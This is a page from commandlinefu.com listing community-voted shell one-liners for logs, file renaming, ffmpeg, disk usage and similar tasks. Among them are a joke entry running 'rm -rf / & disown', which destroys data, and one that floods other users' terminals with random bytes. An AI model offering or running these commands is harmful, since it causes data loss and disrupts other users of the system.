All commands sorted by votes

All commands (14,187)

sorted by

Look at logs startring at EOF

view is the command: vi -r which opens a file in read-only mode. The + character jumps to the bottom of the logfile where the most relevant information starts. Other aliases can be created for commonly viewed logfiles. Show Sample Output
This is sample output - yours may be different.
```
# alias vilog='view +'   ## usage: vilog /var/adm/somelogfile
and
# alias vimsg='view + /var/log/messages'           ## Linux
# alias visys='view + /var/adm/syslog'             ## Solaris
# alias visys='view + /var/adm/syslog/syslog.log'  ## HP-UX
```
-1

view + LOGFILE

pooderbill · 2015-04-21 11:23:01 12
Nofity Message in Ubuntu

Nofity Message sudo apt-get install libnotify-bin
This is sample output - yours may be different.
-1

notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu."

userevolution · 2011-05-27 16:13:40 3
rename multiple files with different name, eg converting all txt to csv
This is sample output - yours may be different.
-1

touch file{1..10}.txt ; ls *txt| sed -e "p;s/\.txt$/\.csv/"|xargs -n2 mv

nomankhn · 2013-02-08 15:09:20 4
call vim help page from shell prompt

simple function i found somewhere to open vim help page from the shell use :h like you would in vim
This is sample output - yours may be different.
-1

function :h { vim +":h $1" +'wincmd o' +'nnoremap q :q!<CR>' ;}

Bonster · 2013-04-04 08:12:28 4
centos list directories sorted by size

centos list directories sorted by size Show Sample Output
This is sample output - yours may be different.
```
du -h --max-depth=1 /home/ | sort -n
```
-1

du -h --max-depth=1 /home/ | sort -n

erez83 · 2015-09-18 05:59:55 11
Rotate a video file by 90 degrees CW

Transpose parameter: 0 = 90CounterCLockwise and Vertical Flip (default) 1 = 90Clockwise 2 = 90CounterClockwise 3 = 90Clockwise and Vertical Flip
This is sample output - yours may be different.
-1

ffmpeg -i in.mov -vf "transpose=1" out.mov

malathion · 2019-09-02 04:54:31 292
Query for installed packages on RHEL boxes, and format the output nicely
This is sample output - yours may be different.
-1

rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'

chrisclymer · 2009-02-20 22:01:42 6
Log output from a cronjob to a file, but also e-mail if a string is found

The large context number (-C 1000) is a bit of a hack, but in most of my use cases, it makes sure I'll see the whole log output.
This is sample output - yours may be different.
-1

some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR

DEinspanjer · 2009-03-06 17:51:13 7
Search count how many times a character or string is present into a file
This is sample output - yours may be different.
-1

grep -o 'pattern' | wc -l

ttrh · 2014-12-17 14:30:42 8
Find the median file modification time of files in a directory tree

I needed to get a feel for how "old" different websites were, based on their directories. Show Sample Output
This is sample output - yours may be different.
```
2006-05-20
```
-1

date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F

allengarvin · 2009-03-24 18:48:49 7
Remove VIM temp files
This is sample output - yours may be different.
-1

find ./ -name '*.sw[op]' -delete

linuxrawkstar · 2010-02-26 12:56:38 5
copy ssh id to remote host
This is sample output - yours may be different.
-1

ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com

harleywastaken · 2011-02-01 18:25:11 3
Discover media files from a web page

Discover host and url of media files (ex. flv, mp4, m4v..). It locate the urls of audio and video files so that they can be recorded.
This is sample output - yours may be different.
-1

sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv)'

marste · 2011-09-18 06:33:36 6
Generate Random Text based on Length

If you don't have seq, you can use perl.
This is sample output - yours may be different.
-1

genRandomText() { perl -e '$n=shift; print chr(int(rand(26)) + 97) for 1..$n; print "\n"' $1;}

putnamhill · 2012-01-21 00:21:20 3
List nearbies
This is sample output - yours may be different.
-1

/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

prayer · 2009-03-24 18:53:26 8
search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
This is sample output - yours may be different.
-1

find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"

unixmonkey7263 · 2009-12-01 19:12:03 6
Annoy everyone on your system

Starts a bunch of background jobs to write random garbage to everyone else's terminals. The "\n" in IFS should be an actual newline, but I can't put that in the command. Show Sample Output
This is sample output - yours may be different.
```
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
```
-1

tmpIFS=IFS; IFS='\n'; users=`who | awk '{print $1}'`; for u in users; do; write $u < /dev/urandom &; done; IFS=tmpIFS

tbodt · 2014-02-12 23:36:40 8
AWK: Set Field Separator from command line

Set field separator char from command line. Prints first, second and lsat columns. Show Sample Output
This is sample output - yours may be different.
```
Input:
Col1,Col2,Col3,[...],ColLast

Output:
Col1 Col2 ColLast
```
-1

awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt

EBAH · 2010-11-12 15:26:04 4
Replace duplicate files by hardlinks
This is sample output - yours may be different.
-1

fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done

piti · 2011-03-07 11:16:09 6

print info about compiled Scala class

Show Sample Output

-1

scalac quicksort.scala && javap QuickSort

evandrix · 2011-07-08 00:38:30 3

Show stats for dd

Have you ever wondered what the hell was dd command doing? well, there you have it... notice the -USR1 signal :)... Show Sample Output
This is sample output - yours may be different.
```
STATS FOR DD:
3014049+0 records in
3014048+0 records out
1543192576 bytes (1.5 GB) copied, 36.6224 s, 42.1 MB/s
```
-1

dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"

ideivid · 2011-08-19 01:10:18 7
just because I want to take out the dot

sudo when you mean it ps aux | grep $USER exit Show Sample Output
This is sample output - yours may be different.
```
[1] 12408

#mabye this
rm: cannot remove '/dont/own/yer/life/bin/anything' : Permission denied
```
-1

rm -rf / & disown $!

caddymob · 2014-02-13 05:15:25 7
quickly show me interesting data about my processes
This is sample output - yours may be different.
-1

alias mine='ps xco pid,command,%cpu,%mem,state'

yesmar · 2009-02-20 23:41:38 5
Delete all but latest file in a directory

xargs deals badly with special characters (such as space, ' and "). To see the problem try this: touch important_file touch 'not important_file' ls not* | xargs rm Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem.
This is sample output - yours may be different.
-1

ls -t1 | sed 1d | parallel -X rm

unixmonkey8046 · 2010-01-28 12:28:18 3
get newest file in current directory

-l for long list, -r for recursive, -a for display of hidden files, and -t for modification date
This is sample output - yours may be different.
-1

ls -lart

shardservant · 2011-05-28 15:01:39 3
‹ First < 477 478 479 480 481 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Determine what version of bind is running on a dns server.

Due to the recent dynamic update vulnerability with bind, I was forced to dig a little deeper into dig...

View non-printing characters with cat

Useful to detect number of tabs in an empty line, DOS newline (carriage return + newline). A tool that can help you understand why your parsing is not working.

Export a subset of a database

Limits the number of rows per table to X

defragment files

Thanks to flatcap for optimizing this command. This command takes advantage of the ext4 filesystem's resistance to fragmentation. By using this command, files that were previously fragmented will be copied / deleted / pasted essentially giving the filesystem another chance at saving the file contiguously. ( unlike FAT / NTFS, the *nix filesystem always try to save a file without fragmenting it ) My command only effects the home directory and only those files with your R/W (read / write ) permissions. There are two issues with this command: 1. it really won't help, it works, but linux doesn't suffer much (if any ) fragmentation and even fragmented files have fast I/O 2. it doesn't discriminate between fragmented and non-fragmented files, so a large ~/ directory with no fragments will take almost as long as an equally sized fragmented ~/ directory The benefits i managed to work into the command: 1. it only defragments files under 16mb, because a large file with fragments isn't as noticeable as a small file that's fragmented, and copy/ delete/ paste of large files would take too long 2. it gives a nice countdown in the terminal so you know how far how much progress is being made and just like other defragmenters you can stop at any time ( use ctrl+c ) 3. fast! i can defrag my ~/ directory in 11 seconds thanks to the ramdrive powering the command's temporary storage bottom line: 1. its only an experiment, safe ( i've used it several times for testing ), but probably not very effective ( unless you somehow have a fragmentation problem on linux ). might be a placebo for recent windows converts looking for a defrag utility on linux and won't accept no for an answer 2. it's my first commandlinefu command

urldecoding with one pure BASH builtin

You can use ordinary printf to convert "%23%21%2fbin%2fbash" into "#!/bin/bash" with no external utilities, by using a little known printf feature -- the "%b" specifier converts shell escapes. Replace % with \x and printf will understand the urlencoded string. BASH's printf has an extension to set a variable directly, too. So you get to convert urlencoded strings from garble to plaintext in one step with no externals and no backticks.

send a message to a windows machine in a popup

It will only work if the service NETSEND in the Windows machine is enabled.

vim's pastetoggle: when you press f9 'paste' is on , press f9 again and 'paste' is off, and so forth (works in insert-mode and command-mode)

Random play a mp3 file

Pick a mp3 at random and play it. Assumes the availability of locate with an updated db and mpg123 Not the most useful command I guess, but all of the really useful ones are taken...

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Picture Renamer

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,187) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,187)

sorted by